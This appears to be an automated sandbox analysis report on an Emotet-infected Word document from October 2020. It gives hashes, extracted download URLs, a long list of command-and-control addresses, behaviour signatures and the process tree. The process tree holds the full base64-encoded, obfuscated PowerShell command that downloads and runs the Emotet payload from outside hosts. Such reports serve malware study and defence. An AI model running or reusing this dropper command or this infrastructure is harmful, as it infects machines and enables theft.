Analysis
-
max time kernel
154s -
max time network
153s -
platform
windows10_x64 -
resource
win10 -
submitted
26-10-2020 12:11
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e1_45e691f571f8909970ad0e971e3938bcb3b65f8c0f741213b9dfe6cd64ba5062_2020-10-26__121000216987._fpx.doc
Resource
win7
General
-
Target
emotet_e1_45e691f571f8909970ad0e971e3938bcb3b65f8c0f741213b9dfe6cd64ba5062_2020-10-26__121000216987._fpx.doc
-
Size
167KB
-
MD5
25c855ae9ffa280bc8397500ef0b1c2e
-
SHA1
c5f7ffc4f84e2494473277d797207c092bb59adb
-
SHA256
45e691f571f8909970ad0e971e3938bcb3b65f8c0f741213b9dfe6cd64ba5062
-
SHA512
5ba37671f54c349f74cb370edea971f78794d98ee03c627f1018231682df738943a8eae4b14d7420b20101d494a7ced6c712967ac35c78c4eab6ead4ea987476
Malware Config
Extracted
http://innhanmacquanaogiare.com/wp-includes/Jh1/
http://www.edgeclothingmcr.com/indexing/c9/
https://thepremiumplace.com/wp-content/5/
https://florinconsultancy.com/wp-content/1/
https://udaysolopiano.com/wp-content/J/
https://sanayate.com/wp-includes/hd/
https://www.jorgecoronel.com/webmaster/kYH/
Extracted
emotet
Epoch1
81.214.253.80:443
94.23.62.116:8080
98.103.204.12:443
59.148.253.194:8080
197.232.36.108:80
74.58.215.226:80
79.118.74.90:80
181.123.6.86:80
5.89.33.136:80
137.74.106.111:7080
189.223.16.99:80
187.162.248.237:80
181.61.182.143:80
129.232.220.11:8080
178.211.45.66:8080
45.33.77.42:8080
94.176.234.118:443
128.92.203.42:80
12.162.84.2:8080
212.71.237.140:8080
24.135.69.146:80
190.190.219.184:80
37.183.81.217:80
201.71.228.86:80
191.97.154.2:80
152.169.22.67:80
191.182.6.118:80
186.70.127.199:8090
201.213.177.139:80
197.245.25.228:80
2.85.9.41:8080
188.157.101.114:80
51.15.7.145:80
87.106.46.107:8080
185.183.16.47:80
82.76.111.249:443
217.13.106.14:8080
190.24.243.186:80
70.32.84.74:8080
46.43.2.95:8080
188.135.15.49:80
186.103.141.250:443
175.143.12.123:8080
2.45.176.233:80
209.236.123.42:8080
51.255.165.160:8080
190.115.18.139:8080
168.197.45.36:80
37.187.161.206:8080
190.101.156.139:80
173.68.199.157:80
82.76.52.155:80
68.183.170.114:8080
70.169.17.134:80
177.144.130.105:8080
201.49.239.200:443
170.81.48.2:80
64.201.88.132:80
77.238.212.227:80
213.197.182.158:8080
138.97.60.141:7080
174.118.202.24:443
177.129.17.170:443
37.179.145.105:80
50.28.51.143:8080
12.163.208.58:80
172.86.186.21:8080
46.101.58.37:8080
45.46.37.97:80
188.251.213.180:80
68.183.190.199:8080
60.93.23.51:80
181.56.32.36:80
46.105.114.137:8080
192.232.229.54:7080
177.144.130.105:443
178.250.54.208:8080
109.190.35.249:80
183.176.82.231:80
1.226.84.243:8080
74.135.120.91:80
149.202.72.142:7080
177.23.7.151:80
219.92.13.25:80
5.196.35.138:7080
213.52.74.198:80
202.134.4.210:7080
81.215.230.173:443
76.121.199.225:80
138.97.60.140:8080
24.232.228.233:80
200.59.6.174:80
216.47.196.104:80
83.169.21.32:7080
189.2.177.210:443
181.30.61.163:443
192.241.143.52:8080
172.104.169.32:8080
70.32.115.157:8080
181.129.96.162:8080
109.190.249.106:80
111.67.12.221:8080
190.188.245.242:80
177.73.0.98:443
85.214.26.7:8080
51.75.33.127:80
62.84.75.50:80
103.236.179.162:80
98.13.75.196:80
181.58.181.9:80
177.107.79.214:8080
186.189.249.2:80
104.131.41.185:8080
77.78.196.173:443
185.94.252.27:443
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
POwersheLL.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3696 3032 POwersheLL.exe -
Emotet Payload 4 IoCs
Detects Emotet payload in memory.
Processes:
resource yara_rule behavioral2/memory/2876-12-0x00000000006B0000-0x00000000006C3000-memory.dmp emotet behavioral2/memory/2876-11-0x0000000000570000-0x0000000000585000-memory.dmp emotet behavioral2/memory/3408-15-0x0000000002030000-0x0000000002045000-memory.dmp emotet behavioral2/memory/3408-16-0x0000000002050000-0x0000000002063000-memory.dmp emotet -
Blacklisted process makes network request 2 IoCs
Processes:
POwersheLL.exeflow pid process 15 3696 POwersheLL.exe 17 3696 POwersheLL.exe -
Executes dropped EXE 2 IoCs
Processes:
Rieb3cpl.exenetprovisionsp.exepid process 2876 Rieb3cpl.exe 3408 netprovisionsp.exe -
Drops file in System32 directory 1 IoCs
Processes:
Rieb3cpl.exedescription ioc process File opened for modification C:\Windows\SysWOW64\InfDefaultInstall\netprovisionsp.exe Rieb3cpl.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 2168 WINWORD.EXE 2168 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 9 IoCs
Processes:
POwersheLL.exenetprovisionsp.exepid process 3696 POwersheLL.exe 3696 POwersheLL.exe 3696 POwersheLL.exe 3408 netprovisionsp.exe 3408 netprovisionsp.exe 3408 netprovisionsp.exe 3408 netprovisionsp.exe 3408 netprovisionsp.exe 3408 netprovisionsp.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
POwersheLL.exedescription pid process Token: SeDebugPrivilege 3696 POwersheLL.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 2168 WINWORD.EXE 2168 WINWORD.EXE 2168 WINWORD.EXE 2168 WINWORD.EXE 2168 WINWORD.EXE 2168 WINWORD.EXE 2168 WINWORD.EXE -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
Rieb3cpl.exedescription pid process target process PID 2876 wrote to memory of 3408 2876 Rieb3cpl.exe netprovisionsp.exe PID 2876 wrote to memory of 3408 2876 Rieb3cpl.exe netprovisionsp.exe PID 2876 wrote to memory of 3408 2876 Rieb3cpl.exe netprovisionsp.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_45e691f571f8909970ad0e971e3938bcb3b65f8c0f741213b9dfe6cd64ba5062_2020-10-26__121000216987._fpx.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exePOwersheLL -ENCOD IAAgACQAcQBQAFoATgBDAD0AIAAgAFsAVAB5AHAARQBdACgAIgB7ADAAfQB7ADUAfQB7ADIAfQB7ADQAfQB7ADMAfQB7ADEAfQAiACAALQBGACcAcwAnACwAJwB5ACcALAAnAC4AaQBPACcALAAnAHQATwBSACcALAAnAC4AZABpAHIARQBDACcALAAnAHkAcwB0AGUATQAnACkAIAAgADsAIAAgAHMAZQBUAC0ASQB0AEUATQAgAFYAYQBSAGkAYQBCAGwAZQA6AFoANgBvADUAIAAoACAAIABbAHQAeQBwAEUAXQAoACIAewAwAH0AewAxAH0AewA0AH0AewAzAH0AewAyAH0AIgAtAGYAIAAnAFMAWQAnACwAJwBzACcALAAnAGEAbgBhAGcARQByACcALAAnAGUAUABvAEkAbgB0AG0AJwAsACcAVABFAE0ALgBOAGUAVAAuAFMARQBSAFYASQBjACcAKQAgACkAIAAgADsAIAAkAE8AbQBwADIAXwB0AGwAPQAoACcAQgAnACsAKAAnAGkAJwArACcANAB4AG8AcwB0ACcAKQApADsAJABGADAAMwB6AG4AawBmAD0AJABaAHgAOQBhAHoAOQBuACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABMAHkAaAAwAHcANgBtADsAJABRAHIAZgBhADcAbwB0AD0AKAAnAEoAJwArACgAJwBqACcAKwAnAHYAXwAnACkAKwAoACcAZAAyACcAKwAnAF8AJwApACkAOwAgACgAIABHAEUAdAAtAHYAYQByAEkAYQBiAEwARQAgAHEAcAB6AG4AYwAgACkALgB2AGEAbABVAGUAOgA6ACIAQwBSAEUAYABBAHQAZQBEAEkAUgBlAGAAYwBgAFQATwByAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAGYASgB1AFoAeQAnACsAJwB3ACcAKQArACgAJwB4ACcAKwAnAGkANwBuACcAKQArACcAZgBKACcAKwAoACcAdQBNAG4ANwAnACsAJwBkACcAKwAnADgAbgAnACkAKwAoACcAbQAnACsAJwBmAEoAdQAnACkAKQAgAC0AcgBlAHAAbABhAEMARQAoACcAZgBKACcAKwAnAHUAJwApACwAWwBDAGgAQQByAF0AOQAyACkAKQA7ACQAVgB2AGQAawBxAGwAdgA9ACgAKAAnAFoAagAnACsAJwBrACcAKQArACcAbQAnACsAKAAnAGwAbQAnACsAJwAxACcAKQApADsAIAAgACgARwBFAHQALQBWAGEAcgBJAGEAYgBMAEUAIABaADYAbwA1ACkALgBWAEEATAB1AGUAOgA6ACIAcwBFAGAAYwBVAHIAYABJAFQAWQBwAFIAYABvAHQATwBDAG8ATAAiACAAPQAgACgAJwBUAGwAJwArACgAJwBzACcAKwAnADEAMgAnACkAKQA7ACQAWAA5AGEAOABtAHQAcAA9ACgAKAAnAEMAcgB5ACcAKwAnAHAAbQAnACkAKwAnAG4AJwArACcAYwAnACkAOwAkAFAAZQBlADcAeQBrAHYAIAA9ACAAKAAnAFIAaQAnACsAJwBlACcAKwAoACcAYgAzAGMAcAAnACsAJwBsACcAKQApADsAJABPAGEAdwBkAGcAZQBhAD0AKAAnAEoAJwArACcAZABmACcAKwAoACcAMQBkACcAKwAnAHcAbAAnACkAKQA7ACQATQBnADAAeABnAGoAeAA9ACgAJwBPAHkAJwArACgAJwBkAGgAegAnACsAJwBxACcAKQArACcANgAnACkAOwAkAFYAYQBzAGEAdwBmAGgAPQAkAEgATwBNAEUAKwAoACgAKAAnAE0AJwArACcAQwBGAFoAeQB3AHgAaQA3ACcAKwAnAG4AJwApACsAJwBNACcAKwAnAEMAJwArACgAJwBGACcAKwAnAE0AbgAnACkAKwAoACcANwBkACcAKwAnADgAbgBtAE0AJwArACcAQwAnACkAKwAnAEYAJwApAC4AIgBSAEUAcABsAGEAYABDAEUAIgAoACgAWwBjAGgAQQBSAF0ANwA3ACsAWwBjAGgAQQBSAF0ANgA3ACsAWwBjAGgAQQBSAF0ANwAwACkALAAnAFwAJwApACkAKwAkAFAAZQBlADcAeQBrAHYAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABTAGEANABzADUAcwA5AD0AKAAoACcAUgA3ACcAKwAnADAAagA4AGEAJwApACsAJwB2ACcAKQA7ACQATwBmAGwAcAB5ADEANwA9AC4AKAAnAG4AZQB3AC0AbwBiAGoAZQAnACsAJwBjACcAKwAnAHQAJwApACAATgBlAHQALgBXAEUAQgBjAEwASQBlAG4AdAA7ACQATgB5AGsAcQBpAGIAagA9ACgAJwBoAHQAJwArACgAJwB0ACcAKwAnAHAAOgBbACcAKQArACcAIAB3ACcAKwAnAGUAJwArACgAJwAgAF0AWwAgACcAKwAnAHcAJwApACsAKAAnAGUAJwArACcAIABdACcAKQArACcAaQBuACcAKwAoACcAbgBoAGEAbgBtAGEAJwArACcAYwAnACsAJwBxACcAKQArACcAdQAnACsAKAAnAGEAbgAnACsAJwBhACcAKQArACcAbwAnACsAKAAnAGcAaQAnACsAJwBhAHIAJwApACsAKAAnAGUALgBjACcAKwAnAG8AJwArACcAbQBbACAAdwBlACAAJwArACcAXQB3ACcAKQArACgAJwBwAC0AJwArACcAaQAnACkAKwAnAG4AJwArACgAJwBjAGwAdQAnACsAJwBkAGUAJwArACcAcwBbACAAJwApACsAKAAnAHcAZQAgACcAKwAnAF0ASgBoADEAWwAnACsAJwAgAHcAJwApACsAKAAnAGUAIABdAEAAJwArACcAaAAnACkAKwAnAHQAJwArACgAJwB0AHAAJwArACcAOgAnACkAKwAnAFsAJwArACcAIAB3ACcAKwAoACcAZQAgAF0AJwArACcAWwAgAHcAJwArACcAZQAgACcAKQArACgAJwBdAHcAJwArACcAdwAnACkAKwAoACcAdwAnACsAJwAuAGUAZAAnACkAKwAnAGcAJwArACgAJwBlAGMAbABvAHQAJwArACcAaAAnACkAKwAnAGkAbgAnACsAKAAnAGcAbQAnACsAJwBjACcAKQArACcAcgAnACsAJwAuACcAKwAnAGMAJwArACgAJwBvAG0AJwArACcAWwAnACkAKwAoACcAIAB3ACcAKwAnAGUAIABdACcAKQArACgAJwBpAG4AZABlACcAKwAnAHgAJwApACsAKAAnAGkAJwArACcAbgBnAFsAIAB3AGUAIABdAGMAJwArACcAOQBbACcAKQArACcAIAAnACsAKAAnAHcAZQAgAF0AQAAnACsAJwBoAHQAdABwAHMAJwArACcAOgBbACAAdwBlACAAJwApACsAKAAnAF0AJwArACcAWwAgACcAKQArACcAdwAnACsAKAAnAGUAIABdAHQAJwArACcAaABlAHAAJwApACsAKAAnAHIAJwArACcAZQBtAGkAdQAnACsAJwBtAHAAbABhACcAKQArACgAJwBjACcAKwAnAGUALgBjAG8AbQBbACcAKwAnACAAdwAnACkAKwAoACcAZQAgACcAKwAnAF0AdwBwACcAKwAnAC0AYwBvACcAKwAnAG4AJwApACsAJwB0AGUAJwArACcAbgB0ACcAKwAnAFsAJwArACgAJwAgACcAKwAnAHcAZQAnACkAKwAoACcAIABdACcAKwAnADUAWwAnACkAKwAoACcAIAB3ACcAKwAnAGUAIAAnACkAKwAoACcAXQAnACsAJwBAAGgAJwArACcAdAB0AHAAJwArACcAcwA6AFsAIAB3ACcAKwAnAGUAIABdAFsAIAB3AGUAIABdACcAKQArACgAJwBmAGwAJwArACcAbwAnACkAKwAoACcAcgBpAG4AYwAnACsAJwBvACcAKQArACcAbgBzACcAKwAoACcAdQBsACcAKwAnAHQAJwApACsAKAAnAGEAJwArACcAbgBjAHkAJwApACsAKAAnAC4AYwAnACsAJwBvAG0AWwAnACkAKwAoACcAIAAnACsAJwB3AGUAJwApACsAJwAgACcAKwAoACcAXQB3AHAALQAnACsAJwBjACcAKQArACgAJwBvAG4AdAAnACsAJwBlACcAKQArACgAJwBuACcAKwAnAHQAWwAgACcAKQArACgAJwB3AGUAJwArACcAIAAnACkAKwAnAF0AJwArACcAMQAnACsAJwBbACAAJwArACgAJwB3AGUAIAAnACsAJwBdAEAAJwArACcAaAB0ACcAKQArACcAdAAnACsAJwBwACcAKwAnAHMAJwArACgAJwA6AFsAJwArACcAIAAnACkAKwAnAHcAZQAnACsAKAAnACAAXQBbACcAKwAnACAAJwApACsAJwB3AGUAJwArACcAIABdACcAKwAoACcAdQAnACsAJwBkAGEAJwApACsAKAAnAHkAJwArACcAcwBvAGwAbwBwAGkAYQBuAG8ALgAnACsAJwBjACcAKwAnAG8AbQBbACAAJwApACsAJwB3ACcAKwAoACcAZQAgACcAKwAnAF0AdwBwAC0AJwArACcAYwBvAG4AJwApACsAKAAnAHQAZQAnACsAJwBuACcAKQArACcAdABbACcAKwAnACAAdwAnACsAKAAnAGUAIABdAEoAJwArACcAWwAnACkAKwAnACAAJwArACcAdwAnACsAJwBlACcAKwAoACcAIABdACcAKwAnAEAAaAAnACkAKwAnAHQAdAAnACsAKAAnAHAAcwAnACsAJwA6AFsAJwApACsAJwAgACcAKwAnAHcAJwArACcAZQAnACsAKAAnACAAXQAnACsAJwBbACAAdwBlACcAKQArACcAIAAnACsAKAAnAF0AcwBhACcAKwAnAG4AJwApACsAJwBhAHkAJwArACgAJwBhACcAKwAnAHQAZQAnACkAKwAoACcALgAnACsAJwBjAG8AJwApACsAJwBtAFsAJwArACcAIAAnACsAKAAnAHcAZQAgAF0AJwArACcAdwAnACkAKwAnAHAAJwArACgAJwAtACcAKwAnAGkAbgBjACcAKwAnAGwAdQBkAGUAJwApACsAJwBzACcAKwAnAFsAJwArACgAJwAgAHcAZQAnACsAJwAgACcAKQArACgAJwBdAGgAZABbACAAdwBlACAAJwArACcAXQAnACsAJwBAACcAKwAnAGgAdAB0AHAAJwArACcAcwAnACkAKwAnADoAJwArACcAWwAnACsAKAAnACAAJwArACcAdwBlACAAXQAnACsAJwBbACAAdwBlACAAXQB3AHcAdwAnACkAKwAnAC4AJwArACgAJwBqAG8AJwArACcAcgAnACkAKwAnAGcAZQAnACsAKAAnAGMAJwArACcAbwByACcAKQArACcAbwAnACsAKAAnAG4AZQAnACsAJwBsACcAKwAnAC4AYwAnACsAJwBvAG0AWwAgACcAKQArACgAJwB3ACcAKwAnAGUAIABdAHcAZQBiACcAKQArACcAbQAnACsAKAAnAGEAJwArACcAcwB0ACcAKQArACgAJwBlAHIAWwAnACsAJwAgACcAKQArACgAJwB3ACcAKwAnAGUAIABdAGsAWQAnACkAKwAoACcASABbACcAKwAnACAAdwAnACkAKwAnAGUAJwArACcAIABdACcAKQAuACIAUgBFAHAAbABBAGAAYwBlACIAKAAoACgAJwBbACcAKwAnACAAdwAnACkAKwAoACcAZQAnACsAJwAgAF0AJwApACkALAAnAC8AJwApAC4AIgBzAGAAUABMAEkAdAAiACgAJABWADYAagA3AHEAegAxACAAKwAgACQARgAwADMAegBuAGsAZgAgACsAIAAkAEsAcAB0AHQAYgA0ADYAKQA7ACQARwB5AGEAYwA1ADUAbgA9ACgAKAAnAEcAeAAwAGsAJwArACcAawAnACkAKwAnAG4AagAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAE8AZQAwAHEAdgBiAGcAIABpAG4AIAAkAE4AeQBrAHEAaQBiAGoAKQB7AHQAcgB5AHsAJABPAGYAbABwAHkAMQA3AC4AIgBkAGAATwBgAFcAbgBMAG8AYQBkAGYASQBsAGUAIgAoACQATwBlADAAcQB2AGIAZwAsACAAJABWAGEAcwBhAHcAZgBoACkAOwAkAEMAcgBvADUAZwAwAGMAPQAoACgAJwBIACcAKwAnAHMAZABvACcAKQArACgAJwBfACcAKwAnAHAAbAAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtACcAKwAnAEkAdABlACcAKwAnAG0AJwApACAAJABWAGEAcwBhAHcAZgBoACkALgAiAGwAYABFAG4AYABHAFQAaAAiACAALQBnAGUAIAA0ADcAMQA3ADUAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACgAKAAnAHcAaQAnACsAJwBuADMAJwApACsAKAAnADIAXwBQACcAKwAnAHIAbwBjACcAKQArACgAJwBlAHMAJwArACcAcwAnACkAKQApAC4AIgBDAHIARQBgAEEAVABFACIAKAAkAFYAYQBzAGEAdwBmAGgAKQA7ACQAQQBhAGoAXwBzADUAYQA9ACgAKAAnAEgAJwArACcAdwA1ADEAcQAnACkAKwAnAGEAYgAnACkAOwBiAHIAZQBhAGsAOwAkAFoAcQB2AHAAYgAzAGsAPQAoACgAJwBBADQAJwArACcAbAAxACcAKQArACcAMABhACcAKwAnADYAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABDAGoAagBtAF8AdgB2AD0AKAAnAEsAbAAnACsAKAAnADcAbgBpACcAKwAnAGwANgAnACkAKQA=1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Zywxi7n\Mn7d8nm\Rieb3cpl.exeC:\Users\Admin\Zywxi7n\Mn7d8nm\Rieb3cpl.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\InfDefaultInstall\netprovisionsp.exe"C:\Windows\SysWOW64\InfDefaultInstall\netprovisionsp.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\Zywxi7n\Mn7d8nm\Rieb3cpl.exeMD5
0cb7d9bc6b1c1e48e5cc7b684c0adb33
SHA1d4d961b1e54fa6936a24045b56a693361ba7fd48
SHA256521312fc3c1ecae737e326d8bb35405ff3ad875ecb3405860838f9f73591f7f3
SHA512729bb6f23efb79481eda3cecd9b1d1342573bc9c1a4a8f12f1339ef605531f1704f0cd3793df0606b1c34e2c1be93843b526f4a68558a9f192dec150a15fb13b
-
C:\Users\Admin\Zywxi7n\Mn7d8nm\Rieb3cpl.exeMD5
0cb7d9bc6b1c1e48e5cc7b684c0adb33
SHA1d4d961b1e54fa6936a24045b56a693361ba7fd48
SHA256521312fc3c1ecae737e326d8bb35405ff3ad875ecb3405860838f9f73591f7f3
SHA512729bb6f23efb79481eda3cecd9b1d1342573bc9c1a4a8f12f1339ef605531f1704f0cd3793df0606b1c34e2c1be93843b526f4a68558a9f192dec150a15fb13b
-
C:\Windows\SysWOW64\InfDefaultInstall\netprovisionsp.exeMD5
0cb7d9bc6b1c1e48e5cc7b684c0adb33
SHA1d4d961b1e54fa6936a24045b56a693361ba7fd48
SHA256521312fc3c1ecae737e326d8bb35405ff3ad875ecb3405860838f9f73591f7f3
SHA512729bb6f23efb79481eda3cecd9b1d1342573bc9c1a4a8f12f1339ef605531f1704f0cd3793df0606b1c34e2c1be93843b526f4a68558a9f192dec150a15fb13b
-
memory/2168-0-0x00007FFBC2AC0000-0x00007FFBC30F7000-memory.dmpFilesize
6.2MB
-
memory/2876-12-0x00000000006B0000-0x00000000006C3000-memory.dmpFilesize
76KB
-
memory/2876-11-0x0000000000570000-0x0000000000585000-memory.dmpFilesize
84KB
-
memory/3408-13-0x0000000000000000-mapping.dmp
-
memory/3408-15-0x0000000002030000-0x0000000002045000-memory.dmpFilesize
84KB
-
memory/3408-16-0x0000000002050000-0x0000000002063000-memory.dmpFilesize
76KB
-
memory/3696-6-0x00007FFBB45F0000-0x00007FFBB4FDC000-memory.dmpFilesize
9.9MB
-
memory/3696-7-0x00000241D3ED0000-0x00000241D3ED1000-memory.dmpFilesize
4KB
-
memory/3696-8-0x00000241D42A0000-0x00000241D42A1000-memory.dmpFilesize
4KB